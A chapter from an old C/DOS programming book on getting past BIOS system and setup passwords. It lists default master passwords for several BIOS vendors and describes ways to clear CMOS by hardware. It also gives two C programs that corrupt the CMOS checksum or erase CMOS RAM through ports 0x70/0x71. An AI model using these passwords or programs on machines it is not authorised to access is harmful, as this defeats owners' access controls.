Part VII

Illegal Codes

Important Notice

The purpose of Illegal codes is to provide the reader with the loopholes in existing security measures. The main idea is to initiate the reader to develop a good security mechanism. Hence the readers are requested **not** to use these codes for illegal purposes.

62 Overcome BIOS Security

"Whoever wants to be first must be slave to all."

BIOS security system provides us two types of passwords mechanism namely: system password and setup password. If your system has system password, you cannot use it, unless you provide the right password. If your system has setup password, you need to provide the right password to change the contents of CMOS setup.

62.1 Bypass System password

If your system is protected with system password, you can't access to the system, and so you cannot use any program to overcome this situation. Hence we can go for the two techniques: default master password and hardware techniques.

62.1.1 Default master password

Almost all BIOS vendors have default master passwords. Default master password is the one, which can be used instead of the correct password. In other words, almost all BIOS work for two passwords! Among the two, one password is default!

The following table shows the default master password for the famous BIOSs. I hope it would work fine, because I have collected this information from hardware engineers.

Default Master Passwords	
AMI	**Award BIOS**
589589	?award
A.M.I.	013222222
aammii	13222222
AM	1EAAh
AMI	256256
AMI_SW	589589
AMI!SW	589721
AMI?SW	admin
AMI.KEY	alfarome
ami.key	aPAf
ami.kez	award
AMIAMI	award_ps
AMIDECOD	AWARD_PW
AMIPSWD	AWARD SW
amipswd	BIOS
AMISETUP	bios*

AMI		Award BIOS
bios310 BIOSPASS CMOSPWD HEWITT RAND KILLCMOS		biosstar condo CONDO, djonet efmukl g6PJ h6BB HELGA-S HEWITT RAND HLT j09F j256 j64 lkw peter lkwpeter LKWPETER PASSWORD SER setup SKY_FOX SWITCHES_SW Sxyz t0ch20x ttptha TzqF wodj ZAAADA zbaaaca zjaaadc
Compaq		**Daytek**
Compaq		Daytec
Dell		**Hewlett-Packard**
Dell		Hewlpack
IBM		**Phoenix**
IBM MBIUO merlin sertafu		Phoenix
Toshiba		**Zenith**
Toshiba toshy99		3098z Zenith

62.1.2 Hardware techniques (clearing CMOS RAM)

For clearing CMOS RAM, hardware techniques are used. If you could clear the CMOS RAM, the password will be lost. Of course, this book is not a hardware book. But I think a good programmer might know these techniques too. And so I provide this information to you. Hope this will be useful to you!

62.1.2.1 Removing battery

Removing the battery found on motherboard for about 30 minutes will clear the CMOS RAM and so the system password.

62.1.2.2 Shorting battery

If the battery is of type Nickel/Cadmium, you can short the battery, with a resistor for about 30 minutes. This method does not apply for Lithium type batteries that are non-rechargeable.

62.1.2.3 Jumper

Refer your motherboard manual to find which jumper (and how it) has to be used to clear the CMOS RAM.

62.2 Bypass Setup password

If your system has setup password, you will still have access to the system (and so you can use program), but you won't have any access to CMOS setup. Hence you can use two techniques to clear setup password: Default password and programs.

62.2.1 Default master password

You can try default master password from the above list to overcome setup password.

62.2.2 Program

We can also use our programs to access CMOS RAM.

62.2.2.1 Messing up CMOS RAM

The CMOS checksum hi-byte is stored at offset 2Eh of CMOS RAM. If we change this checksum to another value (say 0), during boot up the BIOS will find that the checksum is wrong and it will be forced to setup with "checksum error" messages. As BIOS finds it as an error, it would load the default settings, which does not have password! And thus we can clear the existing setup password! The following code does this:

```
/*    Mess up CMOS RAM */

#include <dos.h>
```

```
#define     CMOS_ADDR   (0x70)            /* address port of CMOS */
#define     CMOS_DATA   (0x71)            /* data port for CMOS */
int main( void )
{
   printf( "Warning: This program will mess up CMOS RAM \n\a" );
   printf( "Do you want to continue? " );
   if ( tolower( getchar( ) ) == 'y' )
      {
       disable( );
       outportb( CMOS_ADDR, 0x2E );
       outportb( CMOS_DATA, 0 );
       enable( );
       printf( "Check sum byte at offset 2Eh has set to 0 ! \n" );
       printf( "Please restart your system to check.... \a\n" );
      }
   return(0);
} /*--main( )---------*/
```

62.2.2.2 Clearing CMOS RAM through programming

Instead of using hardware techniques, we can even use a program to clear CMOS RAM. We know that first 16 bytes of CMOS RAM is used by RTC (Real Time Clock) registers. If we want to clear 64 byte CMOS RAM, we have to set CMOS RAM from address 10h to 40h as zero. And if we want to clear 128 bytes CMOS RAM, we have to set address 10h to 80h as zero. We start from address 10h, because first 16 (Fh) bytes are used for RTL registers. The following code does this:

```
#include <dos.h>

#define     CMOS_ADDR   (0x70)            /* address port of CMOS */
#define     CMOS_DATA   (0x71)            /* data port for CMOS */

int GetCMOSSize( void )
{
    int a, size;
    /*  Read the value present at the 128th (last) byte of CMOS */
    disable( );
    outportb( CMOS_ADDR, 127 );
    a = inportb( CMOS_DATA );  /* store it in 'a' */
    enable( );
    /*  Now, overwrite that (last) byte of CMOS
            with inverted 'a' (i.e., !a)  */
    a = !a;
    disable( );
    outportb( CMOS_ADDR, 127 );
    outportb( CMOS_DATA, a );
    enable( );
```

```
    /* Check whether the value is written or not */
    disable( );
    outportb( CMOS_ADDR, 127 );
    if ( inportb( CMOS_DATA ) == a )     /* written */
            size = 128;       /* so CMOS RAM size is 128 bytes */
      else      /* not written */
            size = 64;  /* so CMOS RAM size is 64 bytes */
    enable( );
    return( size );
} /*--GetCMOSSize( )---------------*/

int main( void )
{
    int size, offset;
    printf( "BEWARE! This program will erase CMOS contents! \n\a" );
    printf( "Don't use this program unnecessarily! \n\n\a" );
    printf( "Wanna continue? (Y/N) " );
    if ( tolower( getche( ) ) == 'y' )
      {
          size = GetCMOSSize( );
          printf( "\nSize of CMOS RAM is %d bytes \n", size );
          /* Erase the CMOS registers from byte-16 to byte-'size' */
          for( offset = 16 ; offset<size ; ++offset )
            {
               disable( );
               outportb( CMOS_ADDR, offset );
               outportb( CMOS_DATA, 0 );  /* Erase with 0 */
               enable( );
            }
          printf( "CMOS RAM has been just erased! \n\a" );
          printf( "Now, Restart your system to check... \n" );
      }
    return(0);
} /*--main( )-----*/
```

Note

For more security some smart BIOS vendors store BIOS data in NVRAM or SMM memory instead of storing it in same CMOS location. In those cases, clearing BIOS passwords through program won't work. But only a few BIOS vendors do this!